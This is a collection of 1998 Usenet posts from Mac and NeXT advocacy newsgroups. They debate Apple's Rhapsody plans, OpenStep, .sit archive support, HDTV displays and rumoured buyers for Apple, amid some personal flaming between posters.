Frame--we just bought 120 licenses of Frame+SGML for Windows at 1.0 * 10^3
a piece. Maybe a little market pressure would help. I'm sure I could get
my former boss, the tools and process czar for the doc division, to sign
up.
......................kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 16:11:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hnp80$96k$1@ns3.vrx.net>
References: <B164DFD8-7DE47@206.165.43.25> <B164E4F4-91181@206.165.43.25>
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In <B164E4F4-91181@206.165.43.25> "Lawson English" claimed:
> Another note, a guy from xPlain (SP?), the publishers of MacTech, says that
> MacTech subscriptions are WAY up this past year, way beyond what you'd
> expect from the demise of _develop_ and the inclusion of NeXT developers.
>
> Hardly consistent, these numbers. I guess that we can't claim any kind of
> trend, as yet.
Well I'm going to WWDC, if it's any consolation. The note above is mighty
interesting.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 23 Apr 1998 08:10:11 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hmt13$i8o$1@ns3.vrx.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6h0b4v$h5v$3@ns3.vrx.net>
<3534C720.3BACAC4@milestonerdl.com> <SCOTT.98Apr15231250@slave.doubleu.com>
<6hlg6a$i2l$1@crib.bevc.blacksburg.va.us> <6hllqf$cg8$2@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6hllqf$cg8$2@cronkite.cygnus.com> John Rudd claimed:
> However, as interested as I am in free software and a free Openstep, I just
> don't have time to spend on keeping Openstep alive via helping Gnustep. It
> is less of a priority, in my eyes, because Openstep has a new lease on life
> at Apple. If that hadn't been the case (or if that ceases to be the case),
I
> would probably consider Gnustep a more justifiable place to spend my
> resources.
Then let us all hope that they pull it off. In terms of the tech presented
so far, I'm terribly happy with what I've seen so far.
Maury
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 23 Apr 1998 21:40:22 GMT
Message-ID: <6hocg6$86f$2@newsfep2.sprintmail.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com>
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Cc: telam@iquest.net
In <353fa39d.26354803@news.newsguy.com> Tom Elam wrote:
> On 23 Apr 1998 15:54:42 GMT, macghod@concentric.net wrote:
>
> >Wooo hooo! My first posting under Openstep! I would like to thank all
those
> >who helped me get OPENSTEP PPP working. You know who you are :)
>
> Congratulations! It took all of 5 minutes for me to get Win 95 PPP set up,
> connected to my ISP and make my first post. (:
I wouldnt brag about how great win 95 is. It took me 5 minutes too using the
setup wizard. Then
I tried to dial out, it dialed out but gave some error (forget what). I had
to call my isp's tech support,
and they had me check the tcp ip dial up bindings, they asked if their was
more than one item lilsted
I said yes, they said remove everything except for the tcp-ip. I did and got
on no problem.
MY POINT? The wizard didnt set it up right. PPP on macos with ot/ppp is
much easier
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 98 14:38:19 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B16502EC-D9BF4@207.217.155.176>
References: <6ho9b6$3f3$1@news.digifix.com>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish writes:
> Which means moving back to developing on the Mac.. ugh..
That's how to attract Mac users and developers to the Rhapsody cause!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 21:56:49 GMT
Organization: @Home Network
Message-ID: <6hodf1$oh3$1@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
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In <353E4CBA.AA8A65F4@nstar.net> Michael Peck wrote:
> Don Yacktman wrote:
>
> > Um, could it be that "this is war"? Handing your warplan to the enemy for
> > critiquing is not usually considered to be a beneficial practice. Could
that
> > be part of it? Hmmm?
>
> Well, Don, it could also be that "war" is a lame metaphor for what's
> happening, since "war" is a struggle between two parties. If you view
> Apple's struggle as fundamentally between it and Microsoft, or it and
> Sun, or it and some other bogeyman, frankly, I think you have little
> sense of the nature of business.
>
Don offered a metaphor to contextualize the discussion. That's more than your
bogeyman and carping about "nature of business" as if there is a grail to
which you alone hold...
> If that doesn't make any sense to you, consider that "leaking" to
> warplan to customers and would-be customer just might make sense in this
> "war". Like I said, it's a stupid metaphor.
>
> [cut]
>
> > Fact is that we do know at least one of their objectives: survive. We
have
> > no idea how Jobs plans to get there, nor do we know for sure if he has any
> > other hidden agendas beyond Apple's survival. Most would agree that to
> > survive, Apple needs to at least (a) show a profit and (b) return to
growth.
> > If they can't do both, they are no longer viable and will either throw in
the
> > towel themselves or spend several years fizzling into oblivion. (And both
> > have to be sustained, which means that the jury is going to be out for a
long
> > time.)
>
> Can you explain why a single person on this planet would bother with
> Apple Computer if the scenario you describe above were actually true?
> Imagine the sales pitch: "We're committed to survival."
>
> I don't get the sense that anybody here from the NeXT world understands
> business and markets any better than the Mac bigots who preceded them.
> What's worst about it is that most NeXT people seem to have grown into
> the mold all by themselves, transformed from (largely) normal
> intelligent people into cheering, whooping fans, complete with
> shibboleth, slogans, and these fantastic "war" metaphors.
>
Hmmm... I know Don is not clueless wrt the world of business. In fact, Don
has a richer backstory and exposure to the world of corporate finance than
anybody here.
> Sure, it's Reality Distortion Field at work, but when people say that
> the chief end of a particular established company is to "show a profit
> and return to growth", I get really worried that nobody in this day and
> age actually understands cause and effect. For instance, hint: before
> you show a profit, you have to sell product. Before you return to
> growth, you have to stop shrinking.
>
> > I'd say that Jobs' moves to date, love them or hate them, have been
primarily
> > addressing (a). They may or may not be the best moves toward (a), but
when
> > he makes a decision, he _does_ have information that we don't have access
to.
> > I sure hope he's using it well. (There's no way to be sure, and the only
> > "proof" of how good the decisions are is to wait and see if Apple makes
it.)
>
> Oh, sure! Which is why all of you non-partisans waited around to see if
> Amelio's Apple "made it", right?
>
> > Let's also hope that announcements at WWDC and new product announcements
for
> > the rest of the year start to show more of (b) before the "Game Over"
lights
> > flick on.
> >
> > Aside: I can't help but wonder if Apple dropping the Newton isn't sort of
> > like the way an animal that's caught in a trap will gnaw off it's leg to
get
> > away. Did Jobs see a hunter coming? The whole thing reeks of survival
> > tactics to me. Note that the animal will sorely miss that leg later...but
is
> > it better to be alive with three legs or dead with four?
>
> [sigh] I don't understand this metaphor, either. I mean, if Newton had
> been tying Apple to anything in particular except a large base of
> customer, I suppose it would make some sense. As it is, it seems like
> more rationalization to me.
>
> Perhaps a more appropriate metaphor would be Hamlet, wherein one man was
> slain to make room for another, i.e. Newton wasn't Jobs' idea but he
> *can* claim credit for MacOS Lite or whatever other abomination is in
> the pipeline for unsuspecting PDA users.
>
> But actually, I *do* like this animal metaphor, because it's a worthy
> symbol of Apple's apparent decision to sacrifice the "technical
> superiority" leg in favor of survival. The question, again, becomes "why
> does anyone want to have anything to do with a company that acts this
> way?"
>
>
Apple has always favored technical superiority and SJ's the most ardent
champion. This is a valid observation. I don't support packaging it as a
symbol of corporate incompetence. What is your stake in the argument?
-r
Rex
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 24 Apr 1998 03:29:14 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6f1f$10c00190$04387880@test1>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <353F833E.7B9AF94F@trilithon.com> <geordie-2304981459010001@130.130.117.53>
Geordie Korper <geordie@chapman.com> wrote
> : * o HDTV sets are supposed to be available around
> : * this Christmas season.
> :They're available now, at the Audible Difference in
> :Palo Alto. Price: $18,000. That's Eighteen Kilo Simoleons.
>
> Can anyone explain why this is the case. I would be happy with a
small
> screen and I don't understand why I shouldn't just be able to hook a
cheap
> box up to my computer and pipe it out to a 19" monitor. How
complicated
> can it be to get a digital signal to display on a 1600x1200 monitor?
That is a great question!
The typical computer monitor has much better resolution than your
standard TV. For example, my 17" Vivitron monitor with 4Meg Matrox
Millinium video card easily supports up to 1280x1024 resolution - good
enough for the lower HDTV specification of 1280x720.
But even with 1600x1200 you couldn't fully support the higher
resolution of 1920x1080 HDTV; however, I just read where the Matrox
Millennium II supports up to 1920x1200 - enough for the high-end HDTV
:-) [1]
QUESTION: Could Apple's QuickTime technology be used to display the
low-end HDTV on my 17" monitor and the high-end HDTV on the new video
cards? Or even map the high-end HDTV to my 17" color monitor?
As to why we are hearing such expensive costs for HDTV, consider the
following: In the scenario above, the HDTV video would only occupy 70%
of the vertical space of my 17" screen (an artifact of the 16:9 theater
format). That is a pretty small screen - fine for one person but not
for family viewing.
I looked up the prices of a couple of monitors with the resolution for
HDTV and the size for family viewing (not necessarily home theater
size). This is what I found:
PRODUCT SIZE MAX RESOLUTION LIST PRICE
------------- ---- -------------- ----------
Radius PV2103 21" 1600x1200 $3,000 [2]
Sony GDM-W900 24" 1920x1200 $3,600 [3]
Sony KL-W7000 29" 1376x700 $6,000 [4]
Since 30" is probably the minimum size for most video-bufs, I can
easily see the entry price for HDTVs being $6000-8000. For home
theaters, I could see that price easily double or triple.
In summary, I could see the Apple Media Player (AMP) being able to
convert your 17" or 20" color monitors into relatively small, but very
crisp, personal HDTVs. Instant HDTV for thousands of computer owners.
Furthermore, Apple could enter the HDTV and video player business by
exploiting its QuickTime technology.
The conversion of thousands of 17" and 20" color monitors into HDTVs
would provide the customer base for Sony, Paramount, WB, and others to
release their movie titles in HDTV-DVD format, and the large number of
movie titles would would help generate a market for the larger HDTVs.
The chicken and egg problem solved :-)
Todd todd@NetSQ.com
[1] http://www.matrox.com/mgaweb/products/mill2.htm
[2] http://www.radius.com/Products/PV2103.html
[3] http://www.ita.sel.sony.com/products/displays/wide/gdmw900.html
[4] http://www.ita.sel.sony.com/products/displays/kl/klw7000.html#specs
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Thu, 23 Apr 1998 17:09:32 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353FBC1C.43D5@CONVEX.COM>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
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<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net> <6hodf1$oh3$1@ha2.rdc1.sdca.home.com>
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Rex Riley wrote:
> Hmmm... I know Don is not clueless wrt the world of business. In fact, Don
> has a richer backstory and exposure to the world of corporate finance than
> anybody here.
Ha ha ha! And when you've all finished telling me how smart Don is
(which I don't doubt), I'm sure you'll explain what it has to do with
the thread? I called his metaphor lame, I didn't engage in "ad hominem"
(what a wonderful pre-emptive tactic, that claim) attacks against him.
Or his father. :)
> Apple has always favored technical superiority and SJ's the most ardent
> champion. This is a valid observation. I don't support packaging it as a
> symbol of corporate incompetence.
You don't? What am I supposed to do about that?
> What is your stake in the argument?
Argument? I didn't know we'd gotten there, yet. I thought this was just
a little friendly discussion. I didn't think it was an argument until
mmalcolm started laying down cash bets.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 24 Apr 1998 03:22:57 GMT
Organization: Digital Fix Development
Message-ID: <6hp0ih$b57$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <6hm4ct$drl$1@news.seicom.net> <slrn6jv8rr.rmc.mbkennel@lyapunov.ucsd.edu> <6ho9b6$3f3$1@news.digifix.com> <6hoibk$kou$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6hoibk$kou$1@crib.bevc.blacksburg.va.us>
On 04/23/98, Nathan Urban wrote:
>In article <6ho9b6$3f3$1@news.digifix.com>, sanguish@digifix.com
(Scott Anguish) wrote:
>
>> On 04/23/98, Matt Kennel wrote:
>
>> >The only real solution, of course, is to write an OpenUp.app which
is
>> >so good, and works on both Rhapsody and MacOS that people
voluntarily
>> >convert their archives.
>
>> It would be a complete re-write..
>
>> OpenUp relies on the BSD/Unix underpinnings to do its work.
>> It uses freely available Unix apps to do the
>> decompressing/compressing..
>
>Of course, most of them are probably fairly portable to other
operating
>systems, too. It would be great if someone was able to rebuild them
under
>MacOS, and then Mac users could have a Yellow Box version of OpenUp..
>
Perhaps..
The application is pretty simple though, and relies on
Services for the majority of its UI aside from warning panels and
progress information.
Its more the equivalent of drop-stuffit/drop-unstuffer..
Even if you port the Unix utils though, you still have other
things to worry about... the app uses and requires a zsh shell
environment, since it does pipe data from between the Unix programs.
There isn't a Windows/YB verison either... there are other
options on those platforms for decompression/compression.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 24 Apr 1998 03:16:18 GMT
Organization: Digital Fix Development
Message-ID: <6hp062$b12$1@news.digifix.com>
References: <6ho9b6$3f3$1@news.digifix.com> <B16502EC-D9BF4@207.217.155.176>
In-Reply-To: <B16502EC-D9BF4@207.217.155.176>
On 04/23/98, "Brad Hutchings" wrote:
>Scott Anguish writes:
>
>> Which means moving back to developing on the Mac.. ugh..
>
>That's how to attract Mac users and developers to the Rhapsody cause!
Perhaps.. but I'd much rather work with an existing Mac
developer who is still slaving away on the platform for the Mac side.
Frankly, I have a full-time Rhapsody gig, Stepwise, various
side-projects and a wife and kids.
I don't have time, the hardware, or the inclination to go back
to what I abandoned 4 years ago when the same problems still exist
there.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 24 Apr 1998 03:17:13 GMT
Organization: Digital Fix Development
Message-ID: <6hp07p$b13$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com> <joe.ragosta-2304980856170001@wil106.dol.net> <6ho98c$3ac$1@news.digifix.com> <copus-2304981645580001@137.104.132.51>
In-Reply-To: <copus-2304981645580001@137.104.132.51>
On 04/23/98, Jerry A. Copus wrote:
>In article <6ho98c$3ac$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>>On 04/23/98, Joe Ragosta wrote:
>><snip>
>>>There's another alternative--push people to drop .sit formats.
>>>
>>
>> Thats unrealistic for many reasons, including volumes and
>>volumes of archived files.
>
>Ah, but how many remember the "ARC" war on PC BBSes a few years ago?
Tons
>of files were converted almost overnight from System Enhancement
>Associates' (correct?) ARC format to ZIP because it was smaller,
faster,
>and a little bit more open. Provide that and a conversion tool and I
think
>you'd be suprised at the result.
.arc files still exist...
And OpenUp even supports them...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 24 Apr 1998 03:04:18 GMT
Organization: @Home Network
Message-ID: <6hovfi$oh3$4@ha2.rdc1.sdca.home.com>
References: <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hnmee$itf$1@wolf.interlynx.net>
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Cc: schurch@visgen.com
In <6hnmee$itf$1@wolf.interlynx.net> Sean Church wrote:
> In article <6hl31j$8an$1@ha2.rdc1.sdca.home.com> rriley@yahoo.com (Rex
> Riley) writes:
> >(snip) Obviously SGI customers clearly are NOT Apple customers.
>
> Umm...
> Geez, every major animation shop I have visited or worked at has this
> interesting computer setup...
>
> Most animators have an SGI on the desk top, and right beside it is...
> A macintosh, for office productivity applications.
>
> Why a Mac instead of Windows? Well... there ain't no "Blue Screen of
> Death" waiting for you, and the Systems folks are usually Unix oriented,
> and nothing get's older than reloading an OS because you added an
> application to the system that didn't install cleanly...
>
> The majority of the users are artists in this environment... so the Mac is
> what seems to be the logical choice.
>
> Of course, the Soft Image folk would want you to run on NT, but I would
> personally call an admin who chose NT over IRIX as the more stable OS to
> support as a KOOK!
>
>
There is incentive, then, for SGI to stratify their market position with a
friend on the desktop, then.
Thanks Sean, may_be...
-r
Rex
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 23:04:14 GMT
Organization: MiscKit Development
Message-ID: <6hohde$cq$1@news.xmission.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net> <6hodf1$oh3$1@ha2.rdc1.sdca.home.com> <353FBC1C.43D5@CONVEX.COM>
Michael Peck <ECK@CONVEX.COM> wrote:
> Ha ha ha! And when you've all finished telling me how smart Don is
> (which I don't doubt), I'm sure you'll explain what it has to do with
> the thread? I called his metaphor lame, I didn't engage in "ad hominem"
> (what a wonderful pre-emptive tactic, that claim) attacks against him.
I shouldn't have to spell all this out for you, but here goes...
I believe that the following can be appropriately characterized as an ad
hominem attack:
] I don't get the sense that anybody here from the NeXT world
] understands business and markets any better than the Mac bigots
] who preceded them. What's worst about it is that most NeXT
] people seem to have grown into the mold all by themselves,
] transformed from (largely) normal intelligent people into
] cheering, whooping fans, complete with shibboleth, slogans,
] and these fantastic "war" metaphors.
You've basically condemned every single NeXT and Mac user in one sweeping
generalization, suggesting that not one of us understands how the business
world works. Since, by Webster's definition, an ad hominem attack is a
response "marked by an attack on an opponent's character rather than by an
answer to his contentions" I would say that the above quote _more_ than
qualifies. You can deny reality all you like, but you can't change the fact
that you posted the above comments. And you can't change what they are
saying.
To answer that attack, more than one person (including myself) has mentioned
my background. The point is NOT "how smart Don is" at all, but rather to
point out that, based upon my background, perhaps my comments shouldn't be so
summarily dismissed. (Of course, once you've considered them and given them
a fair change, you have every right in the world to disagree and I have no
problem with that.)
In fact, you seem to pretty much have dismissed most of the comments I made
(the ones I myself consider the most important) because you didn't like a
metaphor that someone else used. I gave you a context where the metaphor
could make sense. I have no problem with you discarding that and the
metaphor, but it is illogical to discard everything else I say on that basis.
In effect, the significance to the thread is to simply say "you discarded a
lot of opinions in one sweeping motion without giving them due
consideration". That much is relevant, I would think, since it in effect
says "your points have already been answered, and we don't care to endlessly
parrot them back to you, so go back to the stuff you dismissed with a wave of
your hand and address those points before you continue".
At any rate, you have engaged in making ad hominem attacks and you can't
slither out of that fact. Just because you attacked two groups of people in
one shot instead of an individual doesn't mean you didn't impugn the
character of those you painted so negatively. There are a lot of people in
both camps who understand very well how businesses work. You need to learn
to seperate between your opinions and facts. When someone's opinion differs
from yours, it doesn't automatically mean that they are wrong or that they
are ignorant, yet you seem to believe that to be the case.
Of course, I don't expect an apology from you for your attack simply because
it is easy to see (by your demonstrations) that your character is about on
par with Kevin Kline's "Otto" from "A Fish Called Wanda". That particular
personality type doesn't apologize unless under extreme duress. And you're
certainly _never_ wrong...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 23:02:55 GMT
Organization: @Home Network
Message-ID: <6hohav$oh3$2@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
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<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
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In <353F900A.86@CONVEX.COM> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > I think you have little sense of the definition of war:
>
> [definition cut]
>
> > Nowhere does the definition state that it is a struggle betweek *two*
> > parties.
>
> Sorry, war is *not* a "struggle between 2 parties", as I said. It's
> actually a "struggle between n parties". Why, look! Right below my
> quote:
>
> "If you view
> Apple's struggle as fundamentally between it and Microsoft, or it and
> Sun, or it and some other bogeyman,"
>
> I listed n parties, not 2. What do you know.
>
> > The metaphor "Business is war" has been around for a long time.
>
> "The customer is always right" has been around a long time, too. Another
> war of cliches, I see.
>
> > It's sad that you seem increasingly intent on making bitter jibes based on
> > decreasingly relevant points. This ad hominem attack is really beneath
you.
>
> Call it what you like, mmalcolm. It's apparent I messed with the wrong
> group of Montagues. Unwilling to entangle myself further in your verbal
> challenge, I leave you and Kristofer and Don to your wounded-soldier
> snit.
>
>
This is the second thread in as many days which MJP has been unable to carry.
In both instances, MJP has chosen to "drop accusations" and "abandon" the
thread cold. His emerging MO is to skillfully challenge for "center stage" on
threads only to "exit stageRight" upon challenge.
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 23:08:37 GMT
Organization: @Home Network
Message-ID: <6hohll$oh3$3@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
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<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
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In <353FBC1C.43D5@CONVEX.COM> Michael Peck wrote:
> Rex Riley wrote:
[snip stuff]
> > What is your stake in the argument?
>
> Argument? I didn't know we'd gotten there, yet. I thought this was just
> a little friendly discussion. I didn't think it was an argument until
> mmalcolm started laying down cash bets.
>
>
I see... like mental mindplay for you...
Well, get to your argument instead of wasting ad hominems...and mindwidth :-)
-r
Rex Riley
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35397e01.0@news.codenet.net>
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Date: 23 Apr 1998 09:07:18 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: ADULTS ONLY!!!!!!!!!!
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From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 18:59:54 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353FD5FA.CF2093ED@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>
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Jason McNorton wrote:
> In article M Rassbach, mark@milestonerdl.com says...
> >
> >
> > Joe Ragosta wrote:
> >
> > > In article <6hnpt1$3s$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> > > > In <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> taiQ wrote:
> > > > >
> > > > > These "MS guys" get quite tiring... don't probably even get paid by
> > > > > the MS PR machine.
> > > > Hmmm, that surely has never been said
> > > > about Joey Ragosta ;-)
> > > I hope not.
> > > I have never accepted money from anyone for my advocacy. You'll notice
> > > that I don't even have advertising on my web page.
> >
> > I believe it was ment about you getting quite tiring.
> >
> > If you actually had some facts, perhaps you wouldn't be so tiring Joe.
>
> Joe is so repetitive and so insulting that it really is hard to deal
> with. His constant usage of "Don't let the facts get in the way of your
> FUD" or the more recent "but I understand that you don't know about..."
> is the worst.
Yea, Joe Ragosta is that....
> He has to be the biggest pain in the world to deal with.
I've seen bigger. Back when I hung out in the Rush Limbaugh newsgroup, (when Rush was
pushing compuserve, and was allegedly using a borrrowed Internet account) Rush L kept
posting the same shit over and over. When I asked him to clarify, he reposted the same
'facts' again. Then, Rush called Internet Users 'nimbrods'. Some of the ppl there,
back then were worse than Joe Ragosta.
> Joe knows how to hide behind debating tactics very well.
But, in reality, he's not that good. I've seen *FAR* better.
> He'll drop off
> threads that show him to be wrong or he will fight over semantics for
> weeks while the original topic is long lost.
Yup, been there, seen that. So far, he hasn't used spelling/grammer flames or
compaired people/actions to the 1930-mid 40's Nazi party.
When he drops off a thread, it IS an admission of defeat, as is the fact that most
others won't jump into a thread with Joe in it - when the thread concerns Joe Ragosta
himself. I really like the 'you should really try using a Mac sometime' line.
> He screams "ad hominum
> attack" all the time, while using it himself with words like PC herd,
> Wintel fanboy, and so on..
And what's fun is watching him, seeing the utter hyprocricy of his position.
> He calls people clueless almost daily, but if
> you dare say one tiny thing about his integrity he'll call you a liar so
> fast your head will spin.
That's why I checked out of the local library some Apple Inc. history books, and plan
to start what will be a short-lived thread about topics he's called others (and me)
liars on. I never really heard about the 'depth' of Steve Jobs personality.
I like his 'If you say something stupid in public, you deserve to be flamed' comment.
Apperently, he didn't like the concept that the Newton project originally concieved as
a potential replacement for the Macintosh. Joe Ragosta feels that, this idea of a Mac
replacement, is an idea worth flaming. Even tho this idea is TRUE.
> If Joe treated his wife like this she'd leave
> him in a second, I'm certain. There is no compromise with him. There
> are only insults and ridiculously tired debating tactics to hide behind.
And, if this was a debating conferance, the judges would be penalizing him for some of
his tactics.
From: jeffric@boo.uk.sun.com (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody where and how
Date: 23 Apr 1998 14:11:02 GMT
Organization: Sun Microsystems UK
Message-ID: <6hni5m$p01@flonk.uk.sun.com>
References: <6hlk5r$39q$1@news.digifix.com>
In article <6hlk5r$39q$1@news.digifix.com>, sanguish@digifix.com (Scott Anguish) writes:
>On 04/22/98, Salvatore Denaro wrote:
>>On 21 Apr 1998 22:50:14 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
>>>o Will Apple simply sell Rhapsody for x86 through its on-line store?
>>
>>Why not?
>>
>>>o Will Apple license Rhapsody for x86 to computer manufacturers
>(e.g.,
>>>Compaq)?
>>
>>The real question is "Will anyone sign up for a Rhapsody/pc license?"
>>Why would Compaq risk getting MS angry?
>>
>
> I think at this point, MS can't make those types of moves.
>DOJ is watching too closely... and Compaq has already provided the DOJ
>with documentation that MS threatened them when they wanted to put
>Netscape on the desktop.
>
I believe Compaq was required under subpoena to supply these documents ...
if I recall correctly, they weren't keen to be co-operative with the DOJ.
However, your point is well taken ... Microsoft is playing a more delicate
game now due to the DOJ's magnifying glass. Whether Compaq would risk
upsetting MS is still questionable I think.
Jeff
- standard disclaimer -
>>>o Will Apple strike any deals to have OpenStep bundled with systems
>>>shipping with NT (e.g., Compaq NT system)?
>>
>>This deal would have to be done with MS. MS gets upset when you add
>>software to thier system without permission (Remember NetScape?)
>>
>
> See the above..
>
> This is great timing for Rhapsody with the DOJ and everyone
>else lining up to hate Microsoft.
>
>
>--
>Scott Anguish <sanguish@digifix.com>
>NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: AAPL Radar: Sony, Matsushita Ahead!
Date: 24 Apr 1998 07:18:22 GMT
Organization: @Home Network
Message-ID: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
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ref: http://www.mercurynews.com/columnists/nolan/docs/cn042398.hml
Steve Job's Interim CEO title has more prescient meaning... local wags have
Sony and Matsushita vieing for bidding rights for Apple Computer. Deep cover
on the story has it that Job's legacy is to find an "exit" strategy right for
shareholders, the company and himself.
I've advocated (c.s.n.a.: What's macosrumors on about? Tue, 04 Nov 97) Apple
can't make it back alone and Sony is the "best choice" for valuable
manufacturing, distribution and sales channels they bring to Apple products.
Go Sony...
-r
